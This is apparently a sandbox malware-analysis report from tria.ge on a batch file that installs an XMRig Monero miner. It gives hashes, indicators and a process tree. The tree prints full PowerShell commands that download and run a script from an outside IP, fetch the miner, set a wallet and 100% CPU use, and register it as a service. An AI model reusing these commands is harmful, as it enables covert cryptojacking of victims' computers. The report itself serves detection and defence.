Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
100s -
max time network
137s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
01/07/2024, 21:04
Static task
static1
Behavioral task
behavioral1
Sample
3039790984737.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
3039790984737.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
3039790984737.bat
Resource
win11-20240508-en
General
-
Target
3039790984737.bat
-
Size
524B
-
MD5
92b307667679cc4bca93a2417be6137b
-
SHA1
5347620d753e52dbd274d04ae87356e09fe1c16d
-
SHA256
9646675a0d5cb5ccf4aa9408fc698bf5d020d27015c69c9c1ab0e2290137fdd5
-
SHA512
d99751550c337010791b8522ce1966384b41b2f17d6bfaf89034ce9ef25e2648e99ce5b345c6858c79b7af65b357036b42ed88447bca5854644d12ce9cf8a791
Malware Config
Extracted
http://185.254.97.190:2024/test.txt
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 16 IoCs
resource yara_rule behavioral1/files/0x000700000001ac20-129.dat family_xmrig behavioral1/files/0x000700000001ac20-129.dat xmrig behavioral1/memory/1560-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-413-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2360-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 1 932 powershell.exe 4 3856 powershell.exe 7 716 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 1560 xmrig.exe 3568 nssm.exe 4620 nssm.exe 784 nssm.exe 3836 nssm.exe 936 nssm.exe 4776 nssm.exe 4764 nssm.exe 2360 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 7 raw.githubusercontent.com 3 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1400 sc.exe 5104 sc.exe 3144 sc.exe 312 sc.exe -
pid Process 3856 powershell.exe 2332 powershell.exe 5036 powershell.exe 2804 powershell.exe 932 powershell.exe 716 powershell.exe 1856 powershell.exe 3872 powershell.exe 1048 powershell.exe 832 powershell.exe 4024 powershell.exe 1832 powershell.exe 5068 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 3048 timeout.exe 668 timeout.exe 1132 timeout.exe 4532 timeout.exe 4988 timeout.exe 4628 timeout.exe 700 timeout.exe 1356 timeout.exe 4156 timeout.exe 1144 timeout.exe 3860 timeout.exe 3376 timeout.exe 3616 timeout.exe 3280 timeout.exe 1664 timeout.exe 4088 timeout.exe 652 timeout.exe 3104 timeout.exe 5004 timeout.exe 3368 timeout.exe 2964 timeout.exe 4344 timeout.exe 3276 timeout.exe 1316 timeout.exe 3040 timeout.exe 2060 timeout.exe 3568 timeout.exe 1792 timeout.exe 3212 timeout.exe 2916 timeout.exe 32 timeout.exe 828 timeout.exe 1104 timeout.exe 1544 timeout.exe 716 timeout.exe 4360 timeout.exe 4372 timeout.exe 532 timeout.exe 5004 timeout.exe 2580 timeout.exe 3400 timeout.exe 2320 timeout.exe 4400 timeout.exe 396 timeout.exe 3272 timeout.exe 2604 timeout.exe 4492 timeout.exe 3756 timeout.exe 2376 timeout.exe 4880 timeout.exe 1452 timeout.exe 1904 timeout.exe 60 timeout.exe 1408 timeout.exe 4260 timeout.exe 4244 timeout.exe 1232 timeout.exe 2852 timeout.exe 60 timeout.exe 3048 timeout.exe 1636 timeout.exe 3652 timeout.exe 4812 timeout.exe 3400 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 2280 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 932 powershell.exe 932 powershell.exe 932 powershell.exe 3856 powershell.exe 3856 powershell.exe 3856 powershell.exe 5068 powershell.exe 5068 powershell.exe 5068 powershell.exe 2332 powershell.exe 2332 powershell.exe 2332 powershell.exe 832 powershell.exe 832 powershell.exe 832 powershell.exe 5036 powershell.exe 5036 powershell.exe 5036 powershell.exe 4024 powershell.exe 4024 powershell.exe 4024 powershell.exe 1832 powershell.exe 1832 powershell.exe 1832 powershell.exe 3872 powershell.exe 3872 powershell.exe 3872 powershell.exe 1856 powershell.exe 1856 powershell.exe 1856 powershell.exe 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 716 powershell.exe 716 powershell.exe 716 powershell.exe 2804 powershell.exe 2804 powershell.exe 2804 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 932 powershell.exe Token: SeDebugPrivilege 2280 taskkill.exe Token: SeDebugPrivilege 3856 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeDebugPrivilege 2332 powershell.exe Token: SeDebugPrivilege 832 powershell.exe Token: SeDebugPrivilege 5036 powershell.exe Token: SeDebugPrivilege 4024 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeDebugPrivilege 3872 powershell.exe Token: SeDebugPrivilege 1856 powershell.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeDebugPrivilege 716 powershell.exe Token: SeDebugPrivilege 2804 powershell.exe Token: SeLockMemoryPrivilege 2360 xmrig.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe Token: SeSecurityPrivilege 1756 WMIC.exe Token: SeTakeOwnershipPrivilege 1756 WMIC.exe Token: SeLoadDriverPrivilege 1756 WMIC.exe Token: SeSystemProfilePrivilege 1756 WMIC.exe Token: SeSystemtimePrivilege 1756 WMIC.exe Token: SeProfSingleProcessPrivilege 1756 WMIC.exe Token: SeIncBasePriorityPrivilege 1756 WMIC.exe Token: SeCreatePagefilePrivilege 1756 WMIC.exe Token: SeBackupPrivilege 1756 WMIC.exe Token: SeRestorePrivilege 1756 WMIC.exe Token: SeShutdownPrivilege 1756 WMIC.exe Token: SeDebugPrivilege 1756 WMIC.exe Token: SeSystemEnvironmentPrivilege 1756 WMIC.exe Token: SeRemoteShutdownPrivilege 1756 WMIC.exe Token: SeUndockPrivilege 1756 WMIC.exe Token: SeManageVolumePrivilege 1756 WMIC.exe Token: 33 1756 WMIC.exe Token: 34 1756 WMIC.exe Token: 35 1756 WMIC.exe Token: 36 1756 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe Token: SeSecurityPrivilege 1756 WMIC.exe Token: SeTakeOwnershipPrivilege 1756 WMIC.exe Token: SeLoadDriverPrivilege 1756 WMIC.exe Token: SeSystemProfilePrivilege 1756 WMIC.exe Token: SeSystemtimePrivilege 1756 WMIC.exe Token: SeProfSingleProcessPrivilege 1756 WMIC.exe Token: SeIncBasePriorityPrivilege 1756 WMIC.exe Token: SeCreatePagefilePrivilege 1756 WMIC.exe Token: SeBackupPrivilege 1756 WMIC.exe Token: SeRestorePrivilege 1756 WMIC.exe Token: SeShutdownPrivilege 1756 WMIC.exe Token: SeDebugPrivilege 1756 WMIC.exe Token: SeSystemEnvironmentPrivilege 1756 WMIC.exe Token: SeRemoteShutdownPrivilege 1756 WMIC.exe Token: SeUndockPrivilege 1756 WMIC.exe Token: SeManageVolumePrivilege 1756 WMIC.exe Token: 33 1756 WMIC.exe Token: 34 1756 WMIC.exe Token: 35 1756 WMIC.exe Token: 36 1756 WMIC.exe Token: SeIncreaseQuotaPrivilege 344 WMIC.exe Token: SeSecurityPrivilege 344 WMIC.exe Token: SeTakeOwnershipPrivilege 344 WMIC.exe Token: SeLoadDriverPrivilege 344 WMIC.exe Token: SeSystemProfilePrivilege 344 WMIC.exe Token: SeSystemtimePrivilege 344 WMIC.exe Token: SeProfSingleProcessPrivilege 344 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2360 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4760 wrote to memory of 932 4760 cmd.exe 74 PID 4760 wrote to memory of 932 4760 cmd.exe 74 PID 932 wrote to memory of 3132 932 powershell.exe 75 PID 932 wrote to memory of 3132 932 powershell.exe 75 PID 3132 wrote to memory of 1956 3132 cmd.exe 76 PID 3132 wrote to memory of 1956 3132 cmd.exe 76 PID 1956 wrote to memory of 1604 1956 net.exe 77 PID 1956 wrote to memory of 1604 1956 net.exe 77 PID 3132 wrote to memory of 3660 3132 cmd.exe 78 PID 3132 wrote to memory of 3660 3132 cmd.exe 78 PID 3132 wrote to memory of 3568 3132 cmd.exe 79 PID 3132 wrote to memory of 3568 3132 cmd.exe 79 PID 3132 wrote to memory of 4996 3132 cmd.exe 80 PID 3132 wrote to memory of 4996 3132 cmd.exe 80 PID 3132 wrote to memory of 4228 3132 cmd.exe 81 PID 3132 wrote to memory of 4228 3132 cmd.exe 81 PID 3132 wrote to memory of 3744 3132 cmd.exe 82 PID 3132 wrote to memory of 3744 3132 cmd.exe 82 PID 3132 wrote to memory of 1400 3132 cmd.exe 83 PID 3132 wrote to memory of 1400 3132 cmd.exe 83 PID 3132 wrote to memory of 5104 3132 cmd.exe 84 PID 3132 wrote to memory of 5104 3132 cmd.exe 84 PID 3132 wrote to memory of 2280 3132 cmd.exe 85 PID 3132 wrote to memory of 2280 3132 cmd.exe 85 PID 3132 wrote to memory of 3856 3132 cmd.exe 87 PID 3132 wrote to memory of 3856 3132 cmd.exe 87 PID 3132 wrote to memory of 5068 3132 cmd.exe 88 PID 3132 wrote to memory of 5068 3132 cmd.exe 88 PID 3132 wrote to memory of 2332 3132 cmd.exe 89 PID 3132 wrote to memory of 2332 3132 cmd.exe 89 PID 3132 wrote to memory of 1560 3132 cmd.exe 90 PID 3132 wrote to memory of 1560 3132 cmd.exe 90 PID 3132 wrote to memory of 4864 3132 cmd.exe 91 PID 3132 wrote to memory of 4864 3132 cmd.exe 91 PID 4864 wrote to memory of 832 4864 cmd.exe 92 PID 4864 wrote to memory of 832 4864 cmd.exe 92 PID 832 wrote to memory of 1544 832 powershell.exe 93 PID 832 wrote to memory of 1544 832 powershell.exe 93 PID 3132 wrote to memory of 5036 3132 cmd.exe 94 PID 3132 wrote to memory of 5036 3132 cmd.exe 94 PID 3132 wrote to memory of 4024 3132 cmd.exe 95 PID 3132 wrote to memory of 4024 3132 cmd.exe 95 PID 3132 wrote to memory of 1832 3132 cmd.exe 96 PID 3132 wrote to memory of 1832 3132 cmd.exe 96 PID 3132 wrote to memory of 3872 3132 cmd.exe 97 PID 3132 wrote to memory of 3872 3132 cmd.exe 97 PID 3132 wrote to memory of 1856 3132 cmd.exe 98 PID 3132 wrote to memory of 1856 3132 cmd.exe 98 PID 3132 wrote to memory of 1048 3132 cmd.exe 99 PID 3132 wrote to memory of 1048 3132 cmd.exe 99 PID 3132 wrote to memory of 716 3132 cmd.exe 100 PID 3132 wrote to memory of 716 3132 cmd.exe 100 PID 3132 wrote to memory of 2804 3132 cmd.exe 101 PID 3132 wrote to memory of 2804 3132 cmd.exe 101 PID 3132 wrote to memory of 3144 3132 cmd.exe 102 PID 3132 wrote to memory of 3144 3132 cmd.exe 102 PID 3132 wrote to memory of 312 3132 cmd.exe 103 PID 3132 wrote to memory of 312 3132 cmd.exe 103 PID 3132 wrote to memory of 3568 3132 cmd.exe 104 PID 3132 wrote to memory of 3568 3132 cmd.exe 104 PID 3132 wrote to memory of 4620 3132 cmd.exe 105 PID 3132 wrote to memory of 4620 3132 cmd.exe 105 PID 3132 wrote to memory of 784 3132 cmd.exe 106 PID 3132 wrote to memory of 784 3132 cmd.exe 106
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3039790984737.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://185.254.97.190:2024/test.txt', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp62D1.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:3132 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:1604
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:3660
-
-
C:\Windows\system32\where.exewhere find4⤵PID:3568
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:4996
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:4228
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:3744
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:1400
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:5104
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5068
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:1560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:1544
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5036
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Uoklywyh\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3872
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:716
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2804
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:3144
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:312
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:3568
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:4620
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:784
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:3836
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:936
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:4776
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:60
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3136
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:32
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:344
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5056
-
-
